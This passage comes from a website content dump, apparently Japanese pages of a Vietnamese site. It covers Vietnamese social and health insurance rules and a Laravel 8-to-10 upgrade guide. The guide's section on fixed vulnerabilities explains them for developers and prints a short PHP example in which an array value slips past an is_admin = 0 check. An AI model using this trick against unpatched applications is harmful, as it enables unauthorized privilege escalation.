by":68,"date":22464,"description":22465,"extension":71,"meta":22466,"navigation":73,"path":22467,"sections":75,"seo":22468,"stem":22469,"thumbnail":22470,"__hash__":22471},"content_ja\u002Fja\u002Fnews\u002Ftham-gia-bhxh-tu-nguyen-duoc-huong-tro-cap-mai-tang-hay-tro-cap-tu-tuat.md","任意加入社会保険制度における葬祭給付および遺族一時金の享受",{"type":8,"value":22426,"toc":22462},[22427,22430,22437,22440,22443,22450,22453,22456,22459],[11,22428,22429],{},"労働者が社会保険に任意加入する場合においてその遺族は葬祭給付や遺族一時金を以下のように享受することができます。",[11,22431,22432],{},[20,22433,22434],{},[2645,22435,22436],{},"1. 葬祭給付の制度",[11,22438,22439],{},"葬祭給付の享受条件を定めた2015年12月29日付の議定第134\u002FNĐ-CP号第8条第2項第b号に沿って、任意加入社会保険の加入者が死亡し、かつ、遺族制度の享受可能な納付期間が60ケ月以上の場合においてその遺族は葬祭給付金を享受することができます。",[11,22441,22442],{},"また、任意加入社会保険の加入者が5年分の社会保険料を一括納付したが、5年未満で死亡した場合においてその遺族は葬祭給付金を享受することができません。",[11,22444,22445],{},[20,22446,22447],{},[2645,22448,22449],{},"2. 遺族一時金の制度",[11,22451,22452],{},"任意加入社会保険法の一部条項の施行細則を定めた労働傷病兵社会省の2016年2月18日付の通達第01\u002FTT-BLĐTBXH号第7条第4項第b号に沿って遺族一時金は社会保険法第81条第2項の規定を基に支払われます。",[11,22454,22455],{},"2014年社会保険法第81条第2項に則り、社会保険に加入しているまたは納付期間を保留している労働者の遺族に対し、遺族一時金は社会保険料を納付した年数を基に計算されます。また、同法第79条に沿って、1年につき、納付年が2014年より前の場合に社会保険料の算定基礎となる月収の平均額の1.5ケ月分、納付年が2014年以降の場合に社会保険料の算定基礎となる月収の平均額の2ケ月分とします。",[11,22457,22458],{},"労働者が1年未満社会保険料を納付する場合において、遺族一時金は納付した社会保険料分としますが、最大額として、社会保険料の算定基礎となる月収の平均額の2ケ月分を超えてはなりません。また、労働者が強制加入社会保険と任意加入社会保険の両方に加入する場合において、最低額として、社会保険料の算定基礎となる月収および賃金の平均額の3ケ月分を下回ってはなりません。",[11,22460,22461],{},"そのため、任意加入社会保険の加入者の遺族は遺族一時金を享受することができます。",{"title":64,"searchDepth":65,"depth":65,"links":22463},[],"2021-06-18","労働者が社会保険に任意加入する場合においてその遺族は葬祭給付や遺族一時金を以下のように享受することができます。1. 葬祭給付の制度_ 葬祭給付の享受条件を定めた2015年12月29日付の議定第134\u002FNĐ-CP号第8条第2項第b号に沿って、任意加入社会保険の加入者が死亡し、かつ、遺族制度の享受可能な納付期間が60ケ月以上の場合においてその遺族は葬祭給付金を享受することができます。",{},"\u002Fja\u002Fnews\u002Ftham-gia-bhxh-tu-nguyen-duoc-huong-tro-cap-mai-tang-hay-tro-cap-tu-tuat",{"title":22424,"description":22465},"ja\u002Fnews\u002Ftham-gia-bhxh-tu-nguyen-duoc-huong-tro-cap-mai-tang-hay-tro-cap-tu-tuat","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F05\u002F11163422\u002FTroCapTuTuatHayMaiTang.png","FJRRD7wM-8EbZV0_Mu2Nmy0JkJhR2gMujJdY7Xq2J4Y",{"id":22473,"title":22474,"body":22475,"category":67,"created by":68,"date":22494,"description":22479,"extension":71,"meta":22495,"navigation":73,"path":22496,"sections":75,"seo":22497,"stem":22498,"thumbnail":22499,"__hash__":22500},"content_ja\u002Fja\u002Fnews\u002Fthanh-lap-bhxh-thanh-pho-thu-duc.md","トゥドゥック市社会保険局の設立",{"type":8,"value":22476,"toc":22492},[22477,22480,22483,22486,22489],[11,22478,22479],{},"ベトナム社会保険総裁は2021年1月22日に、トゥドゥック市社会保険局を設立することと設立したてのトゥドゥック市で関連活動を継続して厚生・福祉を担保するため幹部を補任することに関する決定第128\u002FQĐ-BHXH号に署名捺印して、公布しました。",[11,22481,22482],{},"トゥドゥック市社会保険局は2区社会保険局、9区社会保険局、トゥドゥック区社会保険局の合併で設立されて、ホーチミン市直轄機関になります。",[11,22484,22485],{},"トゥドゥック市社会保険局は独立行政法人として運営して独自の印鑑や口座を持ち、本社がトゥドゥック市に位置します。",[11,22487,22488],{},"トゥドゥック市社会保険局はベトナム社会保険総裁の公布した2019年7月29日付の決定第969\u002FQĐ-BHXH号に定めた規定に沿った組織、機能、任務、権限を有します。",[11,22490,22491],{},"本決定は2021年2月1日より有効になっております。",{"title":64,"searchDepth":65,"depth":65,"links":22493},[],"2021-05-28",{},"\u002Fja\u002Fnews\u002Fthanh-lap-bhxh-thanh-pho-thu-duc",{"title":22474,"description":22479},"ja\u002Fnews\u002Fthanh-lap-bhxh-thanh-pho-thu-duc","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F04\u002F22092351\u002FThanhLapBHXHTPThuDuc.png","v8GkmlN2_dNhQo22fTipxWM_yugbbmhBwFN3p7yxa5Q",{"id":22502,"title":22503,"body":22504,"category":67,"created by":68,"date":22614,"description":22508,"extension":71,"meta":22615,"navigation":73,"path":22616,"sections":75,"seo":22617,"stem":22618,"thumbnail":22619,"__hash__":22620},"content_ja\u002Fja\u002Fnews\u002Fthong-tin-ve-dieu-kien-doi-tuong-thu-tuc-noi-cap-doi-the-bhyt-mau-moi.md","新様式の健康保険証の交付・交換に関する情報",{"type":8,"value":22505,"toc":22612},[22506,22509,22514,22517,22522,22525,22536,22542,22547,22550,22567,22570,22576,22579,22586,22589,22594,22597,22602,22607],[11,22507,22508],{},"新様式の健康保険証は2021年4月1日から、決定第1666\u002FQĐ-BHXH号により全国に一般的に適用さています。以下に、新様式の健康保険証の適用に関してよくある質問を示します。",[11,22510,22511],{},[20,22512,22513],{},"1. 新様式の健康保険証はいつ交付されるか",[11,22515,22516],{},"各地方の社会保険機関は旧様式の健康保険証のテンプレートを使い切った時に新様式の健康保険証を交付します。",[11,22518,22519],{},[20,22520,22521],{},"2. 新様式の健康保険証は対象が誰であるか",[11,22523,22524],{},"各地方の社会保険機関は旧様式の健康保険証のテンプレートを使い切った時に、下記の者に対して新様式の健康保険証を交付します。",[31,22526,22527,22530,22533],{},[34,22528,22529],{},"健康保険の新規加入者",[34,22531,22532],{},"健康保険証を紛失した加入者",[34,22534,22535],{},"健康保険証を破壊し、あるいは健康保険証の情報を変更する加入者",[11,22537,22538,22541],{},[2645,22539,22540],{},"* 注意："," 健康保険証の旧様式から新様式への変換においては、旧様式の健康保険証が有効になっている場合、健康保険診療時に使い続けられます。健康保険証の有効期限を更新する場合、上記の者を除き、新たに交付または交換することなく、システムにて管理されている関連情報を更新します。",[11,22543,22544],{},[20,22545,22546],{},"3. 健康保険証は新規交付や再度交付をどこで申請されるか",[11,22548,22549],{},"a) 下記の者は社会保険機関で手続きを行います。",[31,22551,22552,22555,22558,22561,22564],{},[34,22553,22554],{},"社会保険基金より健康保険料を支払われる者",[34,22556,22557],{},"国家基金より健康保険料の一部を支払われる者",[34,22559,22560],{},"世帯健康保険の加入者",[34,22562,22563],{},"失業手当を享受しており、健康保険証を交換する者",[34,22565,22566],{},"身体の部位を提供した者",[11,22568,22569],{},"b) 下記の者は社会保険料・健康保険料の取扱店舗で手続きを行います。",[31,22571,22572,22574],{},[34,22573,22557],{},[34,22575,22560],{},[11,22577,22578],{},"c) 下記の者は村役場で手続きを行います。",[31,22580,22581,22584],{},[34,22582,22583],{},"国家基金より健康保険料を支払われる者",[34,22585,22554],{},[11,22587,22588],{},"d) 下記の者は会社で手続きを行います。",[31,22590,22591],{},[34,22592,22593],{},"会社で健康保険料を納付する加入者",[11,22595,22596],{},"e) 下記の者は学校で手続きを行います。",[31,22598,22599],{},[34,22600,22601],{},"学校で健康保険料を納付する学生・大学生",[11,22603,22604],{},[20,22605,22606],{},"4. 健康保険証は交換手続きが何か必要であるか",[31,22608,22609],{},[34,22610,22611],{},"社会保険・健康保険の申込変更申請用紙（TK1-TS様式）",{"title":64,"searchDepth":65,"depth":65,"links":22613},[],"2021-07-02",{},"\u002Fja\u002Fnews\u002Fthong-tin-ve-dieu-kien-doi-tuong-thu-tuc-noi-cap-doi-the-bhyt-mau-moi",{"title":22503,"description":22508},"ja\u002Fnews\u002Fthong-tin-ve-dieu-kien-doi-tuong-thu-tuc-noi-cap-doi-the-bhyt-mau-moi","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F06\u002F02084430\u002FDieuKien-DoiTuong-ThuTuc-NoiCapDoiTheBHYT.png","6OUpPWVW7j6K27imzek0mnKicN28bwMBeXOyLikDdz8",{"id":22622,"title":22623,"body":22624,"category":1388,"created by":68,"date":23629,"description":23630,"extension":71,"meta":23631,"navigation":73,"path":23632,"sections":75,"seo":23633,"stem":23634,"thumbnail":23635,"__hash__":23636},"content_ja\u002Fja\u002Fnews\u002Ftinh-nang-moi-va-cach-nang-cap-version-tu-laravel-8-len-laravel-10.md","新機能とLaravel 8からLaravel 10へのアップグレード方法",{"type":8,"value":22625,"toc":23579},[22626,22630,22633,22636,22640,22646,22649,22653,22662,22666,22669,22673,22677,22680,22686,22689,22693,22705,22709,22718,22724,22727,22731,22735,22738,22742,22746,22749,22753,22757,22760,22764,22768,22771,22775,22784,22787,22791,22795,22798,22802,22806,22809,22813,22817,22820,22823,22826,22830,22834,22837,22841,22845,22848,22852,22856,22859,22863,22867,22881,22885,22899,22903,22906,22910,22918,22920,22923,22927,22930,22934,22937,22941,22944,22950,22953,22959,22961,22964,22966,22970,22974,22977,22981,22985,22988,22991,22997,23005,23011,23020,23026,23033,23039,23043,23046,23051,23054,23059,23062,23067,23070,23076,23079,23085,23090,23099,23104,23106,23111,23114,23120,23124,23127,23133,23141,23147,23151,23154,23160,23164,23167,23170,23174,23177,23183,23186,23192,23195,23201,23205,23208,23210,23213,23216,23219,23222,23232,23242,23248,23265,23275,23279,23285,23288,23292,23301,23307,23311,23320,23326,23329,23335,23339,23342,23348,23351,23357,23361,23375,23379,23393,23397,23406,23410,23413,23419,23423,23432,23438,23441,23447,23450,23454,23457,23460,23466,23470,23473,23476,23482,23485,23491,23495,23498,23504,23509,23512,23517,23520,23523,23526,23531,23533],[495,22627,22629],{"id":22628},"laravel-8のプロジェクトをなぜアップグレードするべきか","Laravel 8のプロジェクトをなぜアップグレードするべきか",[11,22631,22632],{},"Laravelの新バージョンは毎年リリースされます。これらのリリースには多少の変更が含まれ、新しい機能が追加されたり、不要な機能が削除されたりします。そのため、早めにアップグレードを行わないと、アップグレードが困難で時間がかかる可能性があります。アップグレードが困難になる主な理由は、プロジェクトが成長し、関数やメソッドが相互に依存するようになることです。つまり、1つの機能を変更すると他の機能にも大きな影響を与える可能性があります。また、Laravel 10がリリースされた後は、Laravel 8のメンテナンスやサポートが終了するため、できるだけ早くアップグレードすることが重要です。",[11,22634,22635],{},"この記事の主な内容は、Laravel 10へのアップグレード方法を案内します。しかし、本記事では手動でのアップグレード方法を紹介しており、Laravel Shiftのような自動化ツールを使用する方法ではありません（このツールは有料です）。ご了承ください。",[487,22637,22639],{"id":22638},"laravel-10の新機能の紹介","Laravel 10の新機能の紹介",[495,22641,8296,22643],{"id":22642},"_1-laravel-pennant",[20,22644,22645],{},"Laravel Pennant:",[11,22647,22648],{},"これはLaravel 10の新しいパッケージです。このパッケージはアプリケーションにfeature flagの機能を提供します。feature flagを使用することで、機能の使用可否を制御できます。具体的な例として、アプリケーションに「会議の予約」という機能があり、この機能は上司のみが利用可能です。つまり、この機能は「可用性」というプロパティを持っています。この機能の可用性を確認するために、以下のようにFeatureを宣言し、確認することができます。",[530,22650],{"className":22651,"alt":64,"src":22652,"style":1943},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F30160709\u002Flaravel-pennant-768x435.png",[11,22654,22655,22656,22661],{},"このパッケージを使えるために、",[57,22657,22660],{"href":22658,"rel":22659},"https:\u002F\u002Flaravel.com\u002Fdocs\u002F10.x\u002Fpennant",[61],"Laravel Pennant 資料","をご参照ください。",[495,22663,22665],{"id":22664},"_2-process-interaction","2. Process Interaction:",[11,22667,22668],{},"Laravel 10は、アプリケーションの実行エンジンと対話するためのabstractionクラスを提供します。これは「process」と呼ばれています。具体的には、この機能により、コマンドを呼び出したり、テストを実行する際にfakeで呼び出したりすることができます。",[530,22670],{"className":22671,"alt":64,"src":22672,"style":1943},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F30161252\u002Fprocess-call-768x375.png",[495,22674,22676],{"id":22675},"_3-test-profiling","3. Test Profiling:",[11,22678,22679],{},"artisanで実行するテストコマンドには、新しいオプションパラメータが追加されました。それが --profile です。このオプションを指定すると、各テストファイルの実行時間がどれくらい遅いかまたは速いかを確認することができます。",[696,22681,22684],{"className":22682,"code":22683,"language":701},[699],"php artisan test --profile\n",[703,22685,22683],{"__ignoreMap":64},[11,22687,22688],{},"--profile を渡した時のテスト実行結果：",[530,22690],{"className":22691,"alt":64,"src":22692,"style":1943},[533,534],"https:\u002F\u002Fuser-images.githubusercontent.com\u002F5457236\u002F217328439-d8d983ec-d0fc-4cde-93d9-ae5bccf5df14.png",[11,22694,22696,22697,18120],{"className":22695},[2499,2500,2501,2502,2503],"\n  (src:\n  ",[57,22698,22704],{"href":22699,"target":22700,"rel":22701},"https:\u002F\u002Flaravel.com\u002Fdocs\u002F10.x\u002Freleases#test-profiling","_blank",[22702,22703],"noopener","noreferrer","\n    https:\u002F\u002Flaravel.com\u002F\n  ",[495,22706,22708],{"id":22707},"_4-pest-scaffolding","4. Pest Scaffolding:",[11,22710,22711,22712,22717],{},"Pestは、PHPUnitによって提供されるPHPテストフレームワークです。LaravelはPestをサポートするようになりました。新しいプロジェクトを作成する際に、--pestオプションを指定することで、デフォルトで",[57,22713,22716],{"href":22714,"rel":22715},"https:\u002F\u002Flaravel.com\u002Fdocs\u002F10.x\u002Freleases#pest-scaffolding",[61],"Pest test scaffolding","を選択することができます。",[696,22719,22722],{"className":22720,"code":22721,"language":701},[699],"laravel new example-application --pest\n",[703,22723,22721],{"__ignoreMap":64},[22725,22726],"hr",{},[487,22728,22730],{"id":22729},"laravel-9の新機能の紹介","Laravel 9の新機能の紹介",[495,22732,22734],{"id":22733},"_1-accessors-and-mutatorsは前より簡単になる","1. Accessors and Mutatorsは前より簡単になる",[11,22736,22737],{},"「Accessors and Mutators」は「getterとsetter」とも呼ばれます。伝統的には、getterやsetterを宣言する場合には、プロパティ名の前に「get」や「set」という接頭辞を付けます。この方法は廃止されず、新しいバージョンでも使用することができます。しかし、よりコンパクトでシンプルな方法が存在するため、以下の新しい方法を推奨します。",[530,22739],{"className":22740,"alt":64,"src":22741,"style":1943},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F30162149\u002Fgetter-setter-declartion.png",[495,22743,22745],{"id":22744},"_2-enum-attribute-casting","2. Enum Attribute Casting",[11,22747,22748],{},"PHP 8はenum宣言をサポートするようになりました。そのため、Laravel 9ではこの新機能も更新されます。さらに、enumを使用してEloquentモデルのプロパティをキャストすることもできるようになりました。 例えば、次のようにenumを宣言して使用できます。",[530,22750],{"className":22751,"alt":64,"src":22752,"style":1943},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F30162343\u002Fenum-768x786.png",[495,22754,22756],{"id":22755},"_3-route-bindings-と-enums","3. Route Bindings と Enums",[11,22758,22759],{},"この機能は、リクエストパラメータの値をenumにバインドします。つまり、事前にenumを宣言し、以下のようにバインドします。リクエスト時に、enumで宣言されていない値を渡すと、以前のようにコントローラーをチェックする代わりに、HTTP 404エラーが返されます。",[530,22761],{"className":22762,"alt":64,"src":22763,"style":1943},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F30162513\u002Froute-enum-768x360.png",[495,22765,22767],{"id":22766},"_4-forced-scoping-of-route-bindings","4. Forced Scoping Of Route Bindings",[11,22769,22770],{},"Laravelの以前のバージョンでは、以下のようにrouteを宣言することで、1つ目のモデルを参照するハンドラ関数に2つ目のEloquentモデルのスコープを渡すことができました。例えば、以下のroute宣言を参考にして、このポストは1つのユーザーに所属し、slugを使用してクエリを実行することができます。",[530,22772],{"className":22773,"alt":64,"src":22774,"style":1943},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F30162851\u002Fscope-biding-1-768x195.png",[11,22776,22777,22778,22783],{},"上記のように宣言すると、Laravelは既存ルール (convention)に基づいて外部キー フィールド(foreign key)を自動的に特定します。 しかし、事前に:slugに",[57,22779,22782],{"href":22780,"rel":22781},"https:\u002F\u002Flaravel.com\u002Fdocs\u002F10.x\u002Frouting#implicit-model-binding-scoping",[61],"custom key binding","を宣言する必要があります。そうしないと、渡された2番目のモデルをバインドする必要があることが分かりません。",[11,22785,22786],{},"しかし、新しいバージョンにscopeBinding()関数へ呼び出すのみでいいです。",[530,22788],{"className":22789,"alt":64,"src":22790,"style":1943},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F30163001\u002Fscope-biding-2-1024x443.png",[495,22792,22794],{"id":22793},"_5-controller-route-groups","5. Controller Route Groups",[11,22796,22797],{},"次のように、routeをcontrollerにグループ化することができるようになりました。",[530,22799],{"className":22800,"alt":64,"src":22801,"style":1943},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F30163135\u002Fcontroller-route-gr-768x171.png",[495,22803,22805],{"id":22804},"_6-full-text-indexes-where-clauses","6. Full Text Indexes \u002F Where Clauses",[11,22807,22808],{},"フルテキストクエリは、whereFullText()やorWhereFullText()などの新しい関数でサポートするようになりました。",[530,22810],{"className":22811,"alt":64,"src":22812,"style":1943},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F30163247\u002Ffull-text-search.png",[495,22814,22816],{"id":22815},"_7-laravel-scout-database-engine","7. Laravel Scout Database Engine",[11,22818,22819],{},"Scoutの主な目標は、全文検索エンジンを利用してアプリケーションの作業プロセスを簡素化することです。Scoutは、driver basedのアプローチで構築されています。つまり、ScoutのAPIを通じてのみ、Elasticsearch、Algolia、MeiliSearch、MySQL、PostgreSQLなど、さまざまなエンジンを使用することができます。",[11,22821,22822],{},"主なアイデアは、Eloquentモデルがsearch()関数を呼び出して全文検索を実行できることです。同時に、データベース内のデータを追加、削除、編集すると、当該のフルテキストエンジンにも自動的に同期されます。ただし、このsearch()関数は単純なクエリのみをサポートしているため、大規模なプロジェクトには適していませんが、小中規模のプロジェクトには適しています。",[11,22824,22825],{},"以下のsearch関数の呼び出しを参照します。",[530,22827],{"className":22828,"alt":64,"src":22829,"style":1943},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F30163504\u002Fscout-768x279.png",[495,22831,22833],{"id":22832},"_8-rendering-inline-blade-templates","8. Rendering Inline Blade Templates",[11,22835,22836],{},"Blade.phpファイルを作成する代わりに、Blade::render()関数の呼び出しを使用してBladeコードをコンパイルできるようになりました。これは、SPAアプリケーションのインターフェースを更新する際に便利なメソッドです。AJAX呼び出しを使用して部分ビューを取得する必要がある場合に使用します。",[530,22838],{"className":22839,"alt":64,"src":22840,"style":1943},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F30163626\u002Finline-blade-768x279.png",[495,22842,22844],{"id":22843},"_9-slot-name-shortcut","9. Slot Name Shortcut",[11,22846,22847],{},"前のバージョンでは、slot nameはx-slotタグのname属性を介して渡されていました。しかし、Laravel 9.xでは、以下のようにより簡単に渡すことができます。",[530,22849],{"className":22850,"alt":64,"src":22851,"style":1943},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F30163803\u002Fslot-name.png",[495,22853,22855],{"id":22854},"_10-validationにnested-arrayの値を取得","10. ValidationにNested Arrayの値を取得",[11,22857,22858],{},"nested array型の入力に対して、どのバリデーションルールを適用するかを決定する前に、入力値を確認する必要があります。そのために、Rule::forEach()関数を使用することができます。",[530,22860],{"className":22861,"alt":64,"src":22862,"style":1943},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F30163940\u002Fvalidation-ar-768x255.png",[495,22864,22866],{"id":22865},"_11-laravel-breeze-api-nextjs","11. Laravel Breeze API & Next.js",[11,22868,22869,22874,22875,22880],{},[57,22870,22873],{"href":22871,"rel":22872},"https:\u002F\u002Flaravel.com\u002Fdocs\u002F9.x\u002Fstarter-kits#breeze-and-next",[61],"Laravel Breeze","スターター キットは、",[57,22876,22879],{"href":22877,"rel":22878},"https:\u002F\u002Fgithub.com\u002Flaravel\u002Fbreeze-next",[61],"Next.js","をフロントエンドとして使用するアプリケーションに適しているため、「API」という新しいスキャフォールディングモードを追加しました。このスターターキットは、Laravelでバックエンドを構築し、フロントエンドのJavaScriptアプリケーションを迅速にセットアップするだけでなく、Sanctum APIを使用してユーザー認証を提供することができます。",[495,22882,22884],{"id":22883},"_12-bunlding-with-vite","12. Bunlding with Vite",[11,22886,22887,22888,22893,22894,22898],{},"javascriptまたはcssファイルを",[57,22889,22892],{"href":22890,"rel":22891},"https:\u002F\u002Flaravel.com\u002Fdocs\u002F10.x\u002Fmix#main-content",[61],"Mix webpack","でバンドルする代わりに、LaravelはViteの使用に移行しています。Viteの使用方法の詳細については、",[57,22895,1231],{"href":22896,"rel":22897},"https:\u002F\u002Flaravel.com\u002Fdocs\u002F10.x\u002Fvite#main-content",[61],"をご覧ください。",[495,22900,22902],{"id":22901},"_13-exceptionページのインターフェース改善","13. Exceptionページのインターフェース改善",[11,22904,22905],{},"新しいインターフェースと機能がExceptionページに追加され、それにより使いやすさが向上し、デバッグ作業がより効率的になりました。",[530,22907],{"className":22908,"alt":64,"src":22909,"style":1943},[533,534],"https:\u002F\u002Fuser-images.githubusercontent.com\u002F483853\u002F149235404-f7caba56-ebdf-499e-9883-cac5d5610369.png",[11,22911,22696,22913,18120],{"className":22912},[2499,2500,2501,2502,2503],[57,22914,22917],{"href":22915,"target":22700,"rel":22916},"https:\u002F\u002Flaravel.com\u002Fdocs\u002F9.x\u002Freleases#exception-page",[22702,22703],"\n    https:\u002F\u002Flaravel.com\u002Fdocs\u002F9.x\u002Freleases#exception-page\n  ",[22725,22919],{},[487,22921,22922],{"id":22922},"新バージョンにアップデートした脆弱性",[660,22924,22926],{"id":22925},"phar形式のファイルをダウンロード禁止",".phar形式のファイルをダウンロード禁止",[11,22928,22929],{},"「PHP executable」形式のファイルをアップロードする際、セキュリティ上の理由から、Laravelはこれらのファイルをブロックして除外します。これには、'.php'、'.php3'、'.php4'、'.php5'、'.php7'、'.php8'、および'.phtml'形式のファイルが含まれます。ただし、以前は'.phar'形式のファイルは含まれていませんでした。新しいバージョンでは、Laravelはこれを更新し、'.phar'形式のファイルも除外対象となりました。",[660,22931,22933],{"id":22932},"sql-serverにsqlインジェクション","SQL ServerにSQLインジェクション",[11,22935,22936],{},"Laravelは、SQLインジェクション攻撃に関連する脆弱性を修正しました。この脆弱性は、SQL Serverのlimit()関数とoffset()関数に直接ユーザー入力を渡す場合に発生します（MySQLやPostgreSQLなどの他のデータベースは、この脆弱性の影響を受けません）。",[660,22938,22940],{"id":22939},"sqlインジェクション-配列とクエリパラメータbinding","SQLインジェクション – 配列とクエリパラメータBinding",[11,22942,22943],{},"以下のソースコードは、SQLインジェクション攻撃の可能性を引き起こす可能性があります。その理由は、is_adminに0の代わりに1の値が割り当てられるためです。この問題は、where()関数に$value = [1, 1]の配列を渡す場合に発生します。",[696,22945,22948],{"className":22946,"code":22947,"language":701},[699],"User::where('id', [1,1])->where('is_admin', 0)->first();\n\u002F\u002F sql: select * from `users` where `id` = 1 and `is_admin` = 1\n",[703,22949,22947],{"__ignoreMap":64},[11,22951,22952],{},"しかし、この脆弱性が修正されました。 そして、クエリは次のように生成されます。",[696,22954,22957],{"className":22955,"code":22956,"language":701},[699],"\u002F\u002F sql: select * from `users` where `id` = 1 and `is_admin` = 0\n",[703,22958,22956],{"__ignoreMap":64},[22725,22960],{},[11,22962,22963],{},"上記では、Laravel 9と10の新機能について説明しました。また、Laravelが修正した脆弱性についても説明しました。次に、プロジェクトをLaravel 8からLaravel 10にアップグレードする方法について説明します。",[22725,22965],{},[487,22967,22969],{"id":22968},"laravel-8のプロジェクトからlaravel-10へアップグレードの案内","Laravel 8のプロジェクトからLaravel 10へアップグレードの案内",[495,22971,22973],{"id":22972},"php-810-composer-220へのアップグレード","PHP 8.1.0 & Composer 2.2.0へのアップグレード",[11,22975,22976],{},"Laravel 10を利用するためには、PHP 8.1.0以降とComposer 2.2.0以降がインストールされている必要があります。したがって、アップグレードする前にこれらのバージョンに合わせて調整する必要があります。この手順は、Laravel 10にアップグレードする前に必須となります。",[495,22978,22980],{"id":22979},"composerjsonでdependenciesの変更","composer.jsonでdependenciesの変更:",[660,22982,22984],{"id":22983},"a-アップグレード必要なパッケージ","a. アップグレード必要なパッケージ：",[11,22986,22987],{},"以下は新しいバージョンにアップグレードする必要なパッケージです。 以下の手順を行います。",[11,22989,22990],{},"composer.jsonファイルで、パッケージのバージョン値を次のように変更します。",[696,22992,22995],{"className":22993,"code":22994,"language":701},[699],"{\n  \"require\": {\n    \"php\": \"^8.1\",\n    \"laravel\u002Fframework\": \"^10.0\",\n    \"laravel\u002Fsanctum\": \"^3.2\",\n    \"doctrine\u002Fdbal\": \"^3.0\",\n    \"laravel\u002Fpassport\": \"^11.0\"\n  },\n  \"require-dev\": {\n    \"nunomaduro\u002Fcollision\": \"^6.1\",\n    \"spatie\u002Flaravel-ignition\": \"^2.0\"\n  }\n}\n",[703,22996,22994],{"__ignoreMap":64},[11,22998,22999,23004],{},[57,23000,23003],{"href":23001,"rel":23002},"https:\u002F\u002Flaravel.com\u002Fdocs\u002F10.x\u002Fbroadcasting#pusher-channels",[61],"Broadcasting","機能を使用している場合は、以下のようにバージョンを変更します。",[696,23006,23009],{"className":23007,"code":23008,"language":701},[699],"{\n  \"require\": {\n    \"pusher\u002Fpusher-php-server\": \"^5.0\"\n  }\n}\n",[703,23010,23008],{"__ignoreMap":64},[11,23012,23013,23014,23019],{},"facade ",[57,23015,23018],{"href":23016,"rel":23017},"https:\u002F\u002Flaravel.com\u002Fdocs\u002F9.x\u002Ffilesystem#main-content",[61],"Storage","経由でS3、FTP、またはSFTPドライバーを使用している場合は、以下のように、当該パッケージのバージョンを変更します。",[696,23021,23024],{"className":23022,"code":23023,"language":701},[699],"{\n  \"require\": {\n    \"league\u002Fflysystem-aws-s3-v3\": \"^3.0\",\n    \"league\u002Fflysystem-ftp\": \"^3.0\",\n    \"league\u002Fflysystem-sftp-v3\": \"^3.0\"\n  }\n}\n",[703,23025,23023],{"__ignoreMap":64},[11,23027,23028,23029],{},"PHPUnit 10を使用したい場合は、phpunit.xmlというconfigファイルで",[23030,23031,23032],"coverage",{}," 部分の processUncoveredFiles=\"true\" 属性を削除します。 それから、パッケージのバージョンを以下のように変更します。",[696,23034,23037],{"className":23035,"code":23036,"language":701},[699],"{\n  \"require-dev\": {\n    \"nunomaduro\u002Fcollision\": \"^7.0\",\n    \"phpunit\u002Fphpunit\": \"^10.0\"\n  }\n}\n",[703,23038,23036],{"__ignoreMap":64},[660,23040,23042],{"id":23041},"b-laravelで削除されたパッケージ","b. Laravelで削除されたパッケージ：",[11,23044,23045],{},"以下のパッケージはLaravelで使用されなくなったので、削除してソースを軽くすることができます。",[11,23047,23048],{},[20,23049,23050],{},"Trusted Proxies:",[11,23052,23053],{},"app\u002FHttp\u002FMiddleware\u002FTrustProxies.phpファイルで以下のように変更します。",[11,23055,23056],{},[703,23057,23058],{},"use Fideloper\\Proxy\\TrustProxies as Middleware;",[11,23060,23061],{},"次のように変更します。",[11,23063,23064],{},[703,23065,23066],{},"use Illuminate\\Http\\Middleware\\TrustProxies as Middleware;",[11,23068,23069],{},"次に、app\u002FHttp\u002FMiddleware\u002FTrustProxies.phpファイル で、 $headers属性の値を次のように変更します。",[696,23071,23074],{"className":23072,"code":23073,"language":701},[699],"\u002F\u002F Before...\nprotected $headers = Request::HEADER_X_FORWARDED_ALL;\n\u002F\u002F After...\nprotected $headers =\n    Request::HEADER_X_FORWARDED_FOR |\n    Request::HEADER_X_FORWARDED_HOST |\n    Request::HEADER_X_FORWARDED_PORT |\n    Request::HEADER_X_FORWARDED_PROTO |\n    Request::HEADER_X_FORWARDED_AWS_ELB;\n",[703,23075,23073],{"__ignoreMap":64},[11,23077,23078],{},"後に、以下のようにパッケージを削除します。",[696,23080,23083],{"className":23081,"code":23082,"language":701},[699],"{\n  \"require\": {\n    \u002F\u002F Remove this package\n    